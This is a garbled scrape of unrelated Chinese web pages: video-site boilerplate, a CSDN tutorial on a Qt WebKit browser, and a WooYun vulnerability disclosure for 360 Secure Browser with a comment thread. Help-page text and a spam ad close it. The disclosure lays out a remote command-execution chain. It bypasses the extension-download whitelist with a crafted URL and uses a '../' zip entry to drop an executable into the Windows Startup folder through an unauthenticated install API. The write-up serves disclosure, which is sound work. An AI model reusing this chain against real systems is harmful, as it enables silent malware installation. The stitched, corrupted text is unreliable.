QT怎么android 调用浏览器系统安装的浏览器

更多频道内容在这里查看
爱奇艺用户将能永久保存播放记录
过滤短视频
暂无长视频(电视剧、纪录片、动漫、综艺、电影)播放记录,
使用您的微博帐号登录,即刻尊享微博用户专属服务。
使用您的QQ帐号登录,即刻尊享QQ用户专属服务。
使用您的人人帐号登录,即刻尊享人人用户专属服务。
按住视频可进行拖动
把视频贴到Blog或BBS
当前浏览器仅支持手动复制代码
视频地址:
flash地址:
html代码:
通用代码:
通用代码可同时支持电脑和移动设备的分享播放
收藏成功,可进入查看所有收藏列表
方式1:用手机看
用爱奇艺APP或微信扫一扫,在手机上继续观看:
cc清理器及火狐浏览器插件的安装使用方法
方式2:一键下载至手机
限爱奇艺安卓6.0以上版本
使用微信扫一扫,扫描左侧二维码,下载爱奇艺移动APP
其他安装方式:手机浏览器输入短链接http://71.am/164eL4
下载安装包到本机:&&
设备搜寻中...
请确保您要连接的设备(仅限安卓)登录了同一爱奇艺账号 且安装并开启不低于V6.0以上版本的爱奇艺客户端
连接失败!
请确保您要连接的设备(仅限安卓)登录了同一爱奇艺账号 且安装并开启不低于V6.0以上版本的爱奇艺客户端
部安卓(Android)设备,请点击进行选择
请您在手机端下载爱奇艺移动APP(仅支持安卓客户端)
使用微信扫一扫,下载爱奇艺移动APP
其他安装方式:手机浏览器输入短链接http://71.am/164eL4
下载安装包到本机:&&
爱奇艺云推送
请您在手机端登录爱奇艺移动APP(仅支持安卓客户端)
使用微信扫一扫,下载爱奇艺移动APP
180秒后更新
打开爱奇艺移动APP,点击“我的-扫一扫”,扫描左侧二维码进行登录
没有安装爱奇艺视频最新客户端?
爸爸去哪儿2游戏 立即参与
cc清理器及火狐浏览器插件的安装使用方法
播放量数据:
22.2万人已订阅
你可能还想订阅他们:
&正在加载...
您使用浏览器不支持直接复制的功能,建议您使用Ctrl+C或右键全选进行地址复制
安装爱奇艺视频客户端,
马上开始为您下载本片
5秒后自动消失
&li data-elem="tabtitle" data-seq="{{seq}}"& &a href="javascript:void(0);"& &span>{{start}}-{{end}}&/span& &/a& &/li&
&li data-downloadSelect-elem="item" data-downloadSelect-selected="false" data-downloadSelect-tvid="{{tvid}}"& &a href="javascript:void(0);"&{{pd}}&/a&
选择您要下载的《
色情低俗内容
血腥暴力内容
广告或欺诈内容
侵犯了我的权力
还可以输入
您使用浏览器不支持直接复制的功能,建议您使用Ctrl+C或右键全选进行地址复制17064人阅读
业余项目(11)
1.代码实现工程目录结构如下:AddressBar类包含了地址栏和按钮两个控件,将地址栏回车和按钮点击信号与goToSite()槽连接。当回车和点击事件发生时,goToSite()将获得Url地址并发送go(QUrl)信号。addressbar.h#ifndef ADDRESSBAR_H
#define ADDRESSBAR_H
#include &QWidget&
#include &QLineEdit&
#include &QPushButton&
#include &QHBoxLayout&
#include &QUrl&
#include &QString&
class AddressBar : public QWidget
explicit AddressBar(QWidget *parent = 0);
void go(QUrl);
public slots:
void goToSite();
QLineEdit *addressE
QPushButton *goB
QHBoxLayout *
#endif // ADDRESSBAR_H
addressbar.cpp#include &addressbar.h&
AddressBar::AddressBar(QWidget *parent) :
QWidget(parent)
addressEdit = new QLineEdit(parent);
goButton = new QPushButton(&Go&, parent);
layout = new QHBoxL
layout-&addWidget(addressEdit);
layout-&addWidget(goButton);
this-&setLayout(layout);
connect(goButton, SIGNAL(clicked()), this, SLOT(goToSite()));
connect(addressEdit, SIGNAL(returnPressed()), this, SLOT(goToSite()));
void AddressBar::goToSite()
QString address = addressEdit-&text();
emit go(QUrl(address));
接下来是QtWebkit包中的主要类QWebView,我们借助这个类来渲染Url指向的网页。为了当用户在地址栏回车或者点击Go按钮时能够自动加载网页,我们需要给QWebView添加loadNewPage(QUrl)槽(因为QWebView没有类似load(QUrl)的槽),并将其与go(QUrl)信号连接。所以我们实现一个QWebView的子类HtmlView。htmlview.h#ifndef HTMLVIEW_H
#define HTMLVIEW_H
#include &QWebView&
class HtmlView : public QWebView
explicit HtmlView(QWidget *parent = 0);
public slots:
void loadNewPage(const QUrl &url);
#endif // HTMLVIEW_H
htmlview.cpp#include &htmlview.h&
HtmlView::HtmlView(QWidget *parent) :
QWebView(parent)
void HtmlView::loadNewPage(const QUrl &url)
this-&load(url);
}接下来实现程序的主窗口QMainWindow,将AddressBar和HtmlView放置其中。mainwindow.h#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include &QWidget&
#include &QLineEdit&
#include &QPushButton&
#include &QGridLayout&
#include &QtWebKit&
#include &QMainWindow&
#include &addressbar.h&
#include &htmlview.h&
class MainWindow : public QMainWindow
explicit MainWindow(QWidget *parent = 0);
#endif // MAINWINDOW_H
mainwindow.cpp#include &mainwindow.h&
#include &ui_mainwindow.h&
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent)
// 1.Create widget
QWidget *centralWidget = new QWidget(this);
AddressBar *bar = new AddressB
HtmlView *view = new HtmlV
// 2.Add widget to layout
QGridLayout *layout = new QGridL
layout-&addWidget(bar, 0, 0, 1, 10);
layout-&addWidget(view, 1, 0, 1, 10);
centralWidget-&setLayout(layout);
// 3.Connect widget
QObject::connect(bar, SIGNAL(go(QUrl)), view, SLOT(loadNewPage(QUrl)));
this-&setCentralWidget(centralWidget);
this-&setWindowTitle(&My Browser v1.0&);
this-&resize(640, 480);
最后是程序的入口main.cpp#include &QApplication&
#include &mainwindow.h&
int main(int argc, char *argv[])
QApplication app(argc, argv);
MainWindow *window = new MainW
window-&show();
return app.exec();
}2.事件流分析我们分别为AddressBar和HtmlView自定义了两个槽goToSite(QUrl)和loadNewPage(QUrl),以及新的信号go(QUrl)。就是为了将Url地址传递给QWebView的load函数。这里需要注意的是SIGNAL-SLOT机制是Qt的内部机制,它是同步执行的。源头上returnPressed()和clicked()槽的触发,是从操作系统的事件队列中得到的,并进行异步的处理。以QPushButton的clicked()槽的触发为例,QApplication.exec()执行后将会监听操作系统事件队列,当鼠标事件发生时,事件将会发送到QPushButton的event()函数进行分发:QPushButton::event -&
QAbstractButton::event -&
QWidget::event [Dispatch event]:
case QEvent::KeyPress: {
QKeyEvent *k = (QKeyEvent *)
bool res =
if (!(k-&modifiers() & (Qt::ControlModifier | Qt::AltModifier))) {
//### Add MetaModifier?
if (k-&key() == Qt::Key_Backtab
|| (k-&key() == Qt::Key_Tab && (k-&modifiers() & Qt::ShiftModifier)))
res = focusNextPrevChild(false);
else if (k-&key() == Qt::Key_Tab)
res = focusNextPrevChild(true);
keyPressEvent(k);
-& QPushButton::keyPressEvent
void QPushButton::keyPressEvent(QKeyEvent *e)
Q_D(QPushButton);
switch (e-&key()) {
case Qt::Key_Enter:
case Qt::Key_Return:
if (autoDefault() || d-&defaultButton) {
// fall through
QAbstractButton::keyPressEvent(e);
-& QAbstractButton::click:
void QAbstractButton::click()
if (!isEnabled())
Q_D(QAbstractButton);
QPointer&QAbstractButton& guard(this);
d-&emitPressed();
if (guard) {
nextCheckState();
if (guard)
d-&emitReleased();
if (guard)
d-&emitClicked();
3.SIGNAL-SLOT类的编译关于Q_OBJECT宏以及SIGNAL,SLOT,emit等关键字奇怪的语法,其实他们是通过一个叫做MOC元对象编译器的组件来进行预编译的,因此我们可以使用SIGNAL,SLOT,emit来清晰地连接各个信号槽,而非函数指针。SIGNAL-SLOT使用很方便,但也是会损失一点执行效率,使用时要谨慎。4.总结及学习资料通过这个例子可以对Qt的SIGNAL-SLOT机制有个简单的了解,它可以减少对象间的依赖。假如不使用它,我们就需要在AddressBar中直接调用HtmlView的load()函数,两个类耦合在了一起。在这个例子中MainWindow负责AddressBar和HtmlView的构建和连接,使它们互相不知道对方的存在!让我更感兴趣的其实是QtWebKit,通过它我们可以在Qt开发桌面应用时使用Web技术,而不用局限于Qt,MFC等等。Web开发人员也可以投身桌面应用开发之中。QtWebKit官方文档:http://doc./4.7-snapshot/qtwebkit.html学习笔记:http://caterpillar.onlyfun.net/Gossip/Qt4Gossip/Qt4Gossip.htmlQtWebKit系列教程:/zh-cn/blogs//qt-webkit-qt-webkit/信号槽深入学习:/developerworks/cn/linux/guitoolkit/qt/signal-slot/QtWeb - 一个开源的Qt浏览器项目日需要源码的同学还真不少啊,现在源码已经共享到GitHub上了,请自行获取吧!地址是:/cdai/qtbrowser
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:1530176次
积分:16817
积分:16817
排名:第354名
原创:290篇
转载:56篇
评论:1073条
文章:18篇
阅读:80738
(1)(6)(1)(1)(3)(1)(2)(3)(5)(5)(8)(5)(7)(9)(3)(15)(4)(12)(11)(12)(3)(1)(3)(1)(2)(1)(9)(8)(12)(2)(7)(7)(13)(7)(20)(4)(11)(3)(4)(6)(19)(3)(4)(5)(9)(9)(13)(5)(26)(20)分享漏洞:
披露状态:
: 细节已通知厂商并且等待厂商处理中
: 厂商已经确认,细节仅向厂商公开
: 细节向第三方安全合作伙伴开放(、、)
: 细节向核心白帽子及相关领域专家公开
: 细节向普通白帽子公开
: 细节向实习白帽子公开
: 细节向公众公开
简要描述:
只是单纯的分享技术,其他的留给下面的评论吧。
详细说明:
测试环境为 Windows 7 + 360 安全浏览器,最新版本,如下:
360 安全浏览器支持两种类型的扩展程序:
1. 类似 http://**.**.**.**/ext/xxx.crx 的 chrome 扩展,安装过程需要用户确认;
2. 类似 http://**.**.**.**/xxx/xx.zip 的 360 私有应用,安装过程不需要用户确认;
安装扩展是通过浏览器的私有 api 完成,代码为:
code 区域external.AppCmd(se6api.sid, 'SeAppMgr', 'InstallAppItem', '{&downurl&:&http://**.**.**.**/se6apps/ExtYouxi/ExtYouxi_**.**.**.**2.zip&, &appid&:&ExtYouxi&, &appname&:&游戏&, &appver&:&**.**.**.**2&, &callbackFunc&:&oninstalled&}', 'installcallback', function() {});
第二类扩展程序功能较为强大,扩展中常有 exe/dll 等文件。正因为如此,浏览器做了限制,downurl 中的链接只有符合条件才会被下载安装。
具体什么条件?咱们来分析下:
通过浏览器目录文件命令大概判断,扩展相关的功能是放在 seappmgr.dll 文件中,放入 IDA 中,通过搜索 InstallAppItem,downurl,360safe,http:// 等关键字,最后定位到如下代码:
code 区域.text:5C004978 ; int _thiscall sub5C004978(LPCWSTR lpszUrl)
.text:5C004978 sub5C004978 CODE XREF: sub5CEp
.text:5C004978 push ebx
.text:5C004979 push esi
.text:5C00497A mov esi, ecx
.text:5C00497C mov bl, 1
.text:5C00497E test esi, esi
.text:5C004980 jz short loc5C0049D8
.text:5C004982 cmp word ptr [esi], 0
.text:5C004986 jz short loc5C0049D8
.text:5C004988 mov edx, offset aDl360 **.**.**.**
.text:5C00498D call sub5C0048C7
.text:5C004992 test al, al
.text:5C004994 jnz short loc5C0049D8
.text:5C004996 mov edx, offset aDown360 **.**.**.**
.text:5C00499B mov ecx, lpszUrl
.text:5C00499D call sub5C0048C7
.text:5C0049A2 test al, al
.text:5C0049A4 jnz short loc5C0049D8
.text:5C0049A6 mov edx, offset abaoku360 **.**.**.**
.text:5C0049AB mov ecx, lpszUrl
.text:5C0049AD call sub5C0048C7
.text:5C0049B2 test al, al
.text:5C0049B4 jnz short loc5C0049D8
.text:5C0049B6 mov edx, offset aSeupdate360 **.**.**.**
.text:5C0049BB mov ecx, lpszUrl
.text:5C0049BD call sub5C0048C7
.text:5C0049C2 test al, al
.text:5C0049C4 jnz short loc5C0049D8
.text:5C0049C6 mov edx, offset aSeappupdate36 ; **.**.**.**
.text:5C0049CB mov ecx, lpszUrl
.text:5C0049CD call sub5C0048C7
.text:5C0049D2 neg al
.text:5C0049D4 sbb al, al
.text:5C0049D6 and bl, al
.text:5C0049D8
.text:5C0049D8 loc5C0049D8: ; CODE XREF: sub5Cj
.text:5C0049D8 ; sub5C004978+Ej ...
.text:5C0049D8 pop esi
.text:5C0049D9 mov al, bl
.text:5C0049DB pop ebx
.text:5C0049DC retn
.text:5C0049DC sub5C004978 endp
看样子应该白名单,
code 区域**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
进一步分析从 downurl 中取域名是通过 InternetCrackUrlW 函数完成的,并不是直接通过正则匹配 downurl,怎么能够绕过 InternetCrackUrlW 是个问题?如果能够在这些域名下载找个 URL 跳转那岂不完美,可问题一分钱难道英雄汉。
**.**.**.** 这个域名中间有个通配符,值得关注。反复测试,当把 downurl 写成:
code 区域http://x.x.x.x/.**.**.**.**/ExtYouxi_**.**.**.**2.zip
奇迹出现了,x.x.x.x/.**.**.**.** 符合 **.**.**.** 策略,而宽字节字符 / 又会被浏览器识别为 /,完美。
把 ExtYouxi**.**.**.**2.zip 文件下载到自己的服务器上,经过测试,插件静默安装完成。接着就是想办法把 ExtYouxi**.**.**.**2.zip 替换成恶意的文件,来达到命令执行的目的。
反复测试发现,ExtYouxi_**.**.**.**2.zip 文件中当加入别的 dll/exe 等可执行文件则无法完成插件的安装,难道是对压缩包内的文件做了签名校验?但是当把一个文件名中含有 ../ 的文件放进压缩包内则能够顺利安装插件,并且这个文件顺利的放到了我们让其跳转的目录。你肯定想到我们要做什么事情了。
是的,我们要把一个 exe 文件放到 Windows 的启动目录内。
插件安装后的目录为:
code 区域C:\Users\用户\AppData\Roaming\360se6\apps\bin\se\插件名
我们把文件名为 /../../../../../Microsoft/Windows/Start Menu/Programs/Startup/funny.exe 的文件放进压缩包。通过之前的代码安装该插件,funny.exe 文件完美的放到了下面的文件夹中:
code 区域C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
到这里我们的正常流程应该是在某特权域下找一个 xss,然后通过 xss 写入恶意代码来完成攻击,最初我也是这么想的,还找到一个 xss,并且完成了攻击代码的编写(其实超简单)。
但是,万万没想到,当我把 se6api.sid 设置为空,随便在一个域名下执行安装代码都能够安装成功。
简直不敢想像,这可是 360 啊!!!
漏洞证明:
链接: http://**.**.**.**/v_show/id_XMTQ1MDE0MDU1Mg==.html
密码:haidianwooyun
修复方案:
1. 最简单的是把宽字节的斜线符号 / 过滤掉
2. 特权 api 当然在特权域下才能调用
版权声明:转载请注明来源 @
厂商回应:
危害等级:高
漏洞Rank:20
确认时间: 12:22
厂商回复:
感谢白帽子反馈,我们第一时间跟进处理,预祝白帽子同学们新年快乐。
最新状态:
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
我是第一个
我是第二个
其他的留给下面的评论吧
这是根据PX那个来的么
定向爆破中
我靠,我已中招
其他的留给下面的评论吧
其他的留给下面的评论吧
只是单纯的分享技术,其他的留给下面的评论吧。
你们就不能说点儿有用的?哎,其他的留给下面的评论吧。=_=
@帅 id这么亮啊哈哈
@von 事实上我打错字了,当时一激动按了回车.联系秘书是不能改名的,索性就不改了
还好我只用谷歌浏览器
@子非海绵宝宝
再发一个:XX浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件)
还好我用DOS系统,没有浏览器
mark一下 该洞必火
点进来一看,吓得本宝宝sqlmap都不跑了.
点进来一看,吓得本宝宝hydra都不跑了.
吓得我马上卸载了360&安全&浏览器
吓得我马上卸载了360&安全&浏览器
卧槽,这个牛B啊
还好我用的是大哥大,重是重了点就是安全。
这是小号》》》
还好不用360浏览器
还好我没用
@Mieless 大哥大 ? GSM 安全?
剑心出手就是不一样
占个位子再说
360插件域任意跳转
难道是插件问题?
这是礼尚往来了么。。。
还好不用360浏览器
已经开战了!!
互相开始D了吗
趁能上的时候 留给名
火钳留名!!
这两家的剧本,你们圈子真会玩
火钳留名!!
/vul/info/qid/QTVA-
火钳留名!!!
半天没进的来
@方大核桃 网都上不了,只能打电话。
@笙心 哎,都是互相残杀。。
360爆乌云sql注入漏洞,乌云爆360浏览器远程命令执行,起鼓相当,双方各自不服谁,于是开启互D模式,战火仍在持续。欲知后事如何,请听下回分解。(瞎编的,别封号)
分明是360装被D了,然后乌云见状不妙,也自己搞挂自己,说自己被D了,你们圈子水真深
我艹!!!
预祝白帽子同学们新年快乐
我是来看评论的
刷屏了奇虎。
吓得我马上卸载了360&安全&浏览器
吓得我把电源都拔掉了
预祝白帽子同学们新年快乐
预祝白帽子同学们新年快乐
预祝白帽子同学们新年快乐
太恐怖了!
想和茅台镇的酒联系我,微信号GENTLEmerchant
登录后才能发表评论,请先看看微软官方是如何教你使用IE浏览器的 微软官方IE使用教程
IE浏览器是大家上网必用的浏览器之一,也是使用人数最多的浏览器,但是对于浏览器的一些操作比如清理垃圾、清理cookie、修改一些设置等都是通过借助第三方工具来实现的,也有很多同学根本不知道如何操作设置IE浏览器,其实微软官方早就给我们公布了IE浏览器的操作使用方法,只是大家没有发现而已,那下面我们就一起来看看如何打开微软官方的IE帮助文档吧。目前IE的最新版本为IE11,相比之前的旧版本,在性能和功能上都有了很大的提升,那么我们就更有必要来学习一下IE的相关设置和操作了。首先我们使用IE随便打开一个网页,然后按下键盘上的F1,这时,微软官方的IE帮助文档就出来了。当然了,我们还可以直接输入网址打开:打开后,网页上将会展示IE的各种使用方法和操作教程,大概略要如下:最常见问题解决方案Internet Explorer 11 入门将 Internet Explorer 设为默认浏览器使用收藏夹保存你喜欢的网站更改主页删除 Cookie在 Internet Explorer 中安装 Java使用选项卡重新打开或恢复浏览会话问题疑难解答更改或重置 Internet Explorer 设置通过&兼容性视图&解决站点显示问题管理 Internet Explorer 中的加载项Internet Explorer 停止工作时要执行哪些操作我正在使用 Internet Explorer 的哪个版本?为什么我看不到网站上的图片?为什么无法在 Internet Explorer 中播放视频?使 Internet Explorer 更易用获取浏览建议Internet Explorer&轻松访问&选项Internet Explorer 键盘快捷方式将 Internet Explorer 固定到&开始&屏幕或任务栏记住密码并填写 Web 表单使用 RSS 源下载和打印从 Internet 下载文件使用 Internet Explorer 打印网页安全和隐私证书错误:常见问题解答更改 Internet Explorer 中的安全和隐私设置删除和管理 Cookie删除你的浏览历史记录使用 SmartScreen 筛选器启用&Do Not Track&以帮助保护你的隐私使用 ActiveX 筛选使用 Internet Explorer 中的&跟踪保护&相信有了这些微软官方的帮助文档,你也将成为一个IE高手。
&&&&&站长QQ:,有问题可直接询问或发邮件。
亦是美网络,成立于日,是一个致力于操作系统应用与计算机网络技术的综合IT网站,为大家不断提供和推荐有用的网络教程与技术。《基于Qt的文件浏览器》项目开发_图文_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
评价文档:
《基于Qt的文件浏览器》项目开发
上传于||暂无简介
大小:441.50KB
登录百度文库,专享文档复制特权,财富值每天免费拿!
你可能喜欢

我要回帖

更多关于 android 调用浏览器 的文章

 

随机推荐